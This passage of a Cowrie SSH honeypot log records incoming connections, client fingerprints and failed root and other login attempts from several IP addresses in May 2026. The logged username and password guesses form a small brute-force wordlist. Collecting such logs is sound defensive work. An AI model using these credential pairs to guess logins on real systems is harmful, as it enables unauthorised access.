{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:41.831498Z","src_ip":"194.113.233.25","session":"6a72b72346c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:42.117708Z","src_ip":"194.113.233.25","session":"6a72b72346c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:43.213735Z","src_ip":"194.113.233.25","session":"6a72b72346c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44482,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2acd99c203","protocol":"ssh","message":"New connection: 77.94.47.83:44482 (10.17.0.5:22) [session: aa2acd99c203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:47.657812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:47.662609Z","src_ip":"77.94.47.83","session":"aa2acd99c203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:47.789723Z","src_ip":"77.94.47.83","session":"aa2acd99c203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"032323","message":"login attempt [root/032323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:48.172408Z","src_ip":"77.94.47.83","session":"aa2acd99c203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:49.303082Z","src_ip":"77.94.47.83","session":"aa2acd99c203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":48886,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cfe161a711d","protocol":"ssh","message":"New connection: 181.47.9.103:48886 (159.203.135.109:22) [session: 2cfe161a711d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:51.261011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:51.269217Z","src_ip":"181.47.9.103","session":"2cfe161a711d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:51.412439Z","src_ip":"181.47.9.103","session":"2cfe161a711d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magyar","message":"login attempt [root/magyar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:52.012544Z","src_ip":"181.47.9.103","session":"2cfe161a711d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:53.158514Z","src_ip":"181.47.9.103","session":"2cfe161a711d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":43674,"dst_ip":"159.203.135.109","dst_port":22,"session":"38f77274fe54","protocol":"ssh","message":"New connection: 43.134.27.11:43674 (159.203.135.109:22) [session: 38f77274fe54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:57.934845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:57.939534Z","src_ip":"43.134.27.11","session":"38f77274fe54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:58.176416Z","src_ip":"43.134.27.11","session":"38f77274fe54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":47166,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d53816696c","protocol":"ssh","message":"New connection: 176.65.148.108:47166 (159.203.135.109:22) [session: 90d53816696c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:58.553696Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:58.637217Z","src_ip":"176.65.148.108","session":"90d53816696c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":47180,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dad873385e9","protocol":"ssh","message":"New connection: 176.65.148.108:47180 (159.203.135.109:22) [session: 3dad873385e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:58.715767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:58.724220Z","src_ip":"176.65.148.108","session":"3dad873385e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:58.805475Z","src_ip":"176.65.148.108","session":"3dad873385e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:59.054286Z","src_ip":"176.65.148.108","session":"3dad873385e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste123","message":"login attempt [root/teste123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:41:59.153718Z","src_ip":"43.134.27.11","session":"38f77274fe54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:00.139782Z","src_ip":"176.65.148.108","session":"3dad873385e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:00.394359Z","src_ip":"43.134.27.11","session":"38f77274fe54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":33040,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae7fdfa88437","protocol":"ssh","message":"New connection: 152.32.150.26:33040 (159.203.135.109:22) [session: ae7fdfa88437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:02.635915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:02.641168Z","src_ip":"152.32.150.26","session":"ae7fdfa88437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:11.250772Z","src_ip":"152.32.150.26","session":"ae7fdfa88437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:11.257458Z","src_ip":"152.32.150.26","session":"ae7fdfa88437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34562,"dst_ip":"159.203.135.109","dst_port":22,"session":"844b61ded21d","protocol":"ssh","message":"New connection: 103.77.242.62:34562 (159.203.135.109:22) [session: 844b61ded21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:32.036035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:32.039119Z","src_ip":"103.77.242.62","session":"844b61ded21d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:32.279188Z","src_ip":"103.77.242.62","session":"844b61ded21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59452,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab4febc1dbe","protocol":"ssh","message":"New connection: 2.57.122.238:59452 (159.203.135.109:22) [session: 8ab4febc1dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:32.628126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:32.632287Z","src_ip":"2.57.122.238","session":"8ab4febc1dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:32.735733Z","src_ip":"2.57.122.238","session":"8ab4febc1dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leavemealone","message":"login attempt [root/leavemealone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:33.002667Z","src_ip":"103.77.242.62","session":"844b61ded21d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:33.046272Z","src_ip":"2.57.122.238","session":"8ab4febc1dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:34.151333Z","src_ip":"2.57.122.238","session":"8ab4febc1dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:34.246813Z","src_ip":"103.77.242.62","session":"844b61ded21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":38298,"dst_ip":"159.203.135.109","dst_port":22,"session":"e444082bd458","protocol":"ssh","message":"New connection: 184.94.212.80:38298 (159.203.135.109:22) [session: e444082bd458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:50.464008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:42:50.468409Z","src_ip":"184.94.212.80","session":"e444082bd458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 